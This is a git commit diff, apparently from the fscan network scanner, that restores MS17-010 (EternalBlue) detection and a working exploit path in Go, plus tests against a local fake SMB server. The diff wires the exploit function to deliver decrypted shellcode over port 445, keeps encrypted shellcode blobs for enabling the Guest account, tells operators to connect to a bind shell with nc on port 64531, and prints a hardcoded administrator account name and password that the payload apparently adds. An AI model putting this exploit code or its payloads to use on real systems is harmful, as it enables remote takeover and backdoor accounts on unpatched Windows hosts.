restore ms17010 legacy detection and exploit (#574)

This commit is contained in:
ZacharyZcR
2026-05-09 14:00:06 +08:00
parent b80ed58408
commit a6db455b7b
3 changed files with 1305 additions and 76 deletions
+85 -76
View File
@@ -10,6 +10,7 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"net"
"os"
"strings"
"time"
@@ -35,16 +36,6 @@ func NewMS17010Plugin() *MS17010Plugin {
// Scan 执行MS17-010扫描
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
// 如果禁用暴力破解,也禁用漏洞检测
if config.DisableBrute {
return &ScanResult{
Success: false,
Service: "ms17010",
Error: fmt.Errorf("MS17010检测已禁用"),
}
}
target := info.Target()
// 检查端口
@@ -57,7 +48,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
}
// 执行MS17010漏洞检测
vulnerable, osVersion, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
if err != nil {
return &ScanResult{
Success: false,
@@ -72,10 +63,13 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
msg += fmt.Sprintf(" [%s]", osVersion)
}
common.LogVuln(msg)
if hasBackdoor {
common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target))
}
return &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
Type: plugins.ResultTypeVuln,
Service: "ms17010",
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
}
@@ -98,7 +92,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
// 首先确认漏洞存在
vulnerable, osVersion, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
if err != nil {
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
return &ExploitResult{
@@ -122,8 +116,6 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
}
// 检测DOUBLEPULSAR后门
hasBackdoor := p.checkDoublePulsar(ctx, info.Host, session)
if hasBackdoor {
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
} else {
@@ -154,7 +146,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
case "add":
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
output.WriteString(" 用户名: fscan 密码: Fscan12345\n")
output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n")
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
case "guest":
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
@@ -218,16 +210,18 @@ var defaultKey = "0123456789abcdef"
// SMB协议加密的请求数据 (从原始MS17010.go复制)
var (
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
// SMB协议解密后的请求数据
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
trans2SessionSetupRequest []byte
)
// 初始化解密SMB协议数据
@@ -281,54 +275,69 @@ func init() {
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
return
}
decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey)
if err != nil {
common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err))
return
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
return
}
}
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, error) {
conn, err := session.DialTCP(ctx, "tcp", ip+":445", session.Config.Timeout)
func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) {
return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session)
}
func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) {
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
if err != nil {
return false, "", fmt.Errorf("连接错误: %w", err)
return false, "", false, fmt.Errorf("连接错误: %w", err)
}
defer func() { _ = conn.Close() }()
if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil {
return false, "", fmt.Errorf("设置超时错误: %w", err)
return false, "", false, fmt.Errorf("设置超时错误: %w", err)
}
// SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return false, "", fmt.Errorf("发送协议请求错误: %w", err)
return false, "", false, fmt.Errorf("发送协议请求错误: %w", err)
}
reply := make([]byte, 1024)
n, readErr := conn.Read(reply)
if readErr != nil || n < 36 {
// 连接被关闭或响应不完整,通常表示目标不支持SMBv1
return false, "", fmt.Errorf("目标可能不支持SMBv1")
return false, "", false, fmt.Errorf("目标可能不支持SMBv1")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return false, "", fmt.Errorf("SMBv1协议协商被拒绝")
return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝")
}
// 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil {
return false, "", fmt.Errorf("发送会话请求错误: %w", err)
return false, "", false, fmt.Errorf("发送会话请求错误: %w", err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 45 {
return false, "", fmt.Errorf("SMB会话建立失败")
if readErr != nil || n < 36 {
return false, "", false, fmt.Errorf("SMB会话建立失败")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return false, "", fmt.Errorf("SMB会话被拒绝")
return false, "", false, fmt.Errorf("SMB会话被拒绝")
}
// 提取系统信息
var osVersion string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 && len(sessionSetupResponse) >= 10 {
if len(sessionSetupResponse) > 0 && sessionSetupResponse[0] != 0 && len(sessionSetupResponse) >= 10 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n == int(byteCount)+45 {
for i := 10; i < len(sessionSetupResponse)-1; i++ {
@@ -343,68 +352,65 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string
// 树连接请求
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
treeConnect := append([]byte(nil), treeConnectRequest...)
treeConnect[32] = userID[0]
treeConnect[33] = userID[1]
if _, err = conn.Write(treeConnectRequest); err != nil {
return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err)
if _, err = conn.Write(treeConnect); err != nil {
return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
if readErr != nil {
return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr)
return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr)
}
return false, osVersion, fmt.Errorf("树连接响应不完整")
return false, osVersion, false, fmt.Errorf("树连接响应不完整")
}
// 命名管道请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
transNamedPipe := append([]byte(nil), transNamedPipeRequest...)
transNamedPipe[28] = treeID[0]
transNamedPipe[29] = treeID[1]
transNamedPipe[32] = userID[0]
transNamedPipe[33] = userID[1]
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err)
if _, err = conn.Write(transNamedPipe); err != nil {
return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
if readErr != nil {
return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr)
return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr)
}
return false, osVersion, fmt.Errorf("管道响应不完整")
return false, osVersion, false, fmt.Errorf("管道响应不完整")
}
// 漏洞检测 - 关键检查点
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
return true, osVersion, nil
trans2SessionSetup := append([]byte(nil), trans2SessionSetupRequest...)
trans2SessionSetup[28] = treeID[0]
trans2SessionSetup[29] = treeID[1]
trans2SessionSetup[32] = userID[0]
trans2SessionSetup[33] = userID[1]
if _, err = conn.Write(trans2SessionSetup); err != nil {
return true, osVersion, false, nil
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
return true, osVersion, false, nil
}
return true, osVersion, reply[34] == 0x51, nil
}
return false, osVersion, nil
return false, osVersion, false, nil
}
// checkDoublePulsar 检测DOUBLEPULSAR后门
func (p *MS17010Plugin) checkDoublePulsar(ctx context.Context, ip string, session *common.ScanSession) bool {
conn, err := session.DialTCP(ctx, "tcp", ip+":445", session.Config.Timeout)
if err != nil {
return false
}
defer func() { _ = conn.Close() }()
// 简化的后门检测逻辑
vulnerable, _, err := p.checkMS17010Vulnerability(ctx, ip, session)
if err != nil || !vulnerable {
return false
}
// 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false
// 在实际使用中,原始的完整检测逻辑会被保留
return false
}
// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口)
// executeMS17010Exploit 执行MS17010漏洞利用
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error {
config := session.Config
var sc string
@@ -430,7 +436,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
}
case "guest":
// 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的)
// 激活Guest账户 shellcode (加密)
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
var err error
sc, err = aesDecrypt(scEnc, defaultKey)
@@ -438,6 +444,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
return fmt.Errorf("解密guest shellcode失败: %w", err)
}
case "cs":
sc = ""
default:
// 从文件读取或直接使用提供的shellcode
shellcode := config.Shellcode
@@ -463,9 +472,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
return fmt.Errorf("shellcode解码失败: %w", err)
}
// 这里应该执行完整的EternalBlue利用逻辑
// 为了保持代码简洁,我们模拟利用成功
// 在实际使用中,这里会调用完整的eternalBlue函数
if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil {
return fmt.Errorf("MS17-010 exp failed: %w", err)
}
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
return nil
File diff suppressed because it is too large Load Diff
+166
View File
@@ -0,0 +1,166 @@
//go:build plugin_ms17010 || !plugin_selective
package services
import (
"context"
"net"
"testing"
"time"
"github.com/shadow1ng/fscan/common"
)
func TestMS17010CheckDetectsVulnerableStatus(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, true, 45)
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if !vulnerable {
t.Fatal("expected vulnerable status to be detected")
}
}
func TestMS17010CheckAcceptsMinimalSessionSetupResponse(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, true, 36)
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if !vulnerable {
t.Fatal("expected vulnerable status to be detected")
}
}
func TestMS17010CheckRejectsPatchedStatus(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, false, 45)
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if vulnerable {
t.Fatal("expected patched status to be treated as not vulnerable")
}
}
func TestMS17010CheckDetectsDoublePulsar(t *testing.T) {
addr, cleanup := startMS17010FakeServer(t, true, 45, withDoublePulsar())
defer cleanup()
session := newMS17010TestSession()
vulnerable, _, hasBackdoor, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session)
if err != nil {
t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err)
}
if !vulnerable {
t.Fatal("expected vulnerable status to be detected")
}
if !hasBackdoor {
t.Fatal("expected DOUBLEPULSAR status to be detected")
}
}
func newMS17010TestSession() *common.ScanSession {
cfg := common.NewConfig()
cfg.Timeout = time.Second
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
}
type ms17010FakeServerOption func(*ms17010FakeServerConfig)
type ms17010FakeServerConfig struct {
doublePulsar bool
}
func withDoublePulsar() ms17010FakeServerOption {
return func(cfg *ms17010FakeServerConfig) {
cfg.doublePulsar = true
}
}
func startMS17010FakeServer(t *testing.T, vulnerable bool, sessionSetupSize int, opts ...ms17010FakeServerOption) (string, func()) {
t.Helper()
var cfg ms17010FakeServerConfig
for _, opt := range opts {
opt(&cfg)
}
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen: %v", err)
}
done := make(chan struct{})
go func() {
defer close(done)
conn, err := ln.Accept()
if err != nil {
return
}
defer conn.Close()
responses := [][]byte{
makeMS17010Response(36),
makeMS17010Response(sessionSetupSize),
makeMS17010Response(36),
makeMS17010Response(36),
}
if len(responses[1]) >= 34 {
responses[1][32] = 0x34
responses[1][33] = 0x12
}
responses[2][28] = 0x78
responses[2][29] = 0x56
if vulnerable {
responses[3][9] = 0x05
responses[3][10] = 0x02
responses[3][11] = 0x00
responses[3][12] = 0xc0
responses = append(responses, makeMS17010Response(36))
if cfg.doublePulsar {
responses[4][34] = 0x51
}
}
buf := make([]byte, 4096)
for _, response := range responses {
_ = conn.SetDeadline(time.Now().Add(time.Second))
if _, err := conn.Read(buf); err != nil {
return
}
if _, err := conn.Write(response); err != nil {
return
}
}
}()
cleanup := func() {
_ = ln.Close()
select {
case <-done:
case <-time.After(time.Second):
t.Fatal("fake server did not exit")
}
}
return ln.Addr().String(), cleanup
}
func makeMS17010Response(size int) []byte {
resp := make([]byte, size)
if size >= 4 {
resp[3] = byte(size - 4)
}
return resp
}